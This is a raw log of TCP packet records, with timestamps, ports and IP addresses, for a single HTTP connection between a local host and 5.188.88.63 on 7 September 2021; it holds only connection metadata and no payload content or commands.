Sep 7, 2021 16:02:55.057770014 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.057774067 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.057832003 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.117769957 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.117810011 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.117841959 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.117862940 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.117882967 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.117906094 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.117937088 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.117959023 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.117986917 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.117990017 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.118007898 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.118010044 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.118030071 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.118048906 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.118050098 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.118071079 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.118086100 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.118103027 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.118124962 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.118138075 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.118146896 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.118218899 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.118225098 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.123044014 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.123079062 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.123100996 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.123146057 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.123169899 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.123171091 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.123191118 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.123209953 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.123213053 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.123235941 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.123236895 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.123258114 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.123284101 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.123296022 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.123307943 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.123332977 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.123332977 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.123356104 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.123378038 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.123378992 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.123402119 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.123421907 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.123424053 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.123445988 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.123471022 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.123486042 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.123493910 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.123514891 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.123527050 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.123537064 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.123562098 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.123569012 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.123584986 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.123606920 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.123611927 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.123641968 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.186115980 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.187540054 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.187757015 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.187830925 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.187868118 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.187896013 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.187927008 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.187958002 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.187987089 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.188018084 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.188046932 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.188080072 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.188111067 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.188138008 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.188164949 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.188190937 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.188221931 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.188251019 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.188278913 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.188313007 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.188332081 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.188338041 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.188342094 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.188347101 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.188350916 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.188354015 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.188358068 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.188361883 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.188364983 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.188394070 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.188420057 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.188453913 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.188457966 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.188510895 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.188524008 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.188543081 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.188574076 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.188585043 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.188606977 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.188640118 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.188668013 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.188677073 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.190151930 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.190181971 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.190186024 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.190221071 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.190257072 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.190310001 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.190782070 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.192575932 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.192601919 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.192619085 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.192639112 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.192661047 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.192755938 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.194107056 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.194128036 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.194132090 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.194164991 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.194191933 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.194210052 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.194231987 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.194258928 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.194271088 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.194283009 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.194283962 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.194304943 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.194324970 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.194327116 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.194370031 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.256144047 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.256164074 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.256180048 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.256191969 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.256215096 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.256237030 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.256251097 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.256257057 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.256278992 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.256288052 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.256299973 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.256320953 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.256340981 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.256342888 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.256362915 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.256385088 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.256390095 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.256407022 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.256428003 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.256428957 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.256449938 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.256463051 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.256470919 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.256493092 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.256511927 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.256513119 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.256534100 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.256553888 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.256556988 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.256577969 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.256587982 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.256601095 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.256623030 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.256647110 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.256663084 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.256664038 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.256678104 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.256690025 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.256705046 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.256725073 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.256731033 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.256735086 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.256745100 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.256755114 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.256767035 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.256808996 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.256825924 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.259272099 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.259315014 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.259406090 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.261272907 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.261965036 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.262007952 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.262114048 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.262665033 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.262698889 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.262722015 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.262746096 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.262763023 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.262774944 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.262787104 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.262808084 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.262814999 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.262830019 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.262856007 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.262856960 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.262877941 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.262878895 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.262902021 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.262934923 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.262974977 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.263048887 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.322684050 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.322776079 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.322797060 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.322813034 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.322828054 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.322844028 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.322853088 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.322859049 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.322880030 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.322927952 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.323036909 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.323091030 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.323096991 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.323168993 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.323190928 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.323214054 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.323216915 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.323236942 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.323254108 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.323256016 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.323273897 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.323291063 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.323297977 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.323318005 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.323333025 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.323339939 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.323378086 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.323378086 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.323508978 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.323529005 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.323546886 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.323554039 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.323569059 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.323585987 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.323600054 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.323601961 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.323617935 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.323637962 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.323638916 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.323664904 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.323673964 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.323693037 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.323715925 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.323717117 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.323756933 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.323800087 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.323923111 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.323957920 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.323975086 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.323992014 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.324018002 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.324033976 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.324043989 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.324064970 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.324084044 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.324089050 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.324110985 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.324130058 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.324132919 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.324170113 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.324179888 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.324191093 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.324209929 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.324232101 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.324233055 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.324301004 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.324470043 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.324496031 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.324546099 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.326431036 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.326483965 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.326559067 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.327688932 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.327734947 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.327821016 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.327826023 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.327876091 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.327918053 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.327919006 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.327943087 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.327964067 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.327986956 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.328002930 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.328026056 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.328047991 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.328048944 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.328092098 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.328115940 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.328119993 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.328165054 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.328644037 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.328670025 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.328722000 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.388004065 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.388127089 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.388151884 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.388176918 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.388200045 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.388206959 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.388237000 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.388267040 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.388271093 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.388299942 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.388305902 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.388331890 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.388351917 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.388355970 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.388376951 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.388400078 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.388422012 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.388443947 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.388464928 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.388488054 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.388489008 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.388514042 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.388529062 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.388535976 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.388559103 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.388600111 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.388613939 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.388664961 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.388755083 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.388840914 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.388900042 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.388906956 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:55.388925076 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.388947010 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.388968945 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:55.388976097 CEST	49763	80	192.168.2.4	5.188.88.63
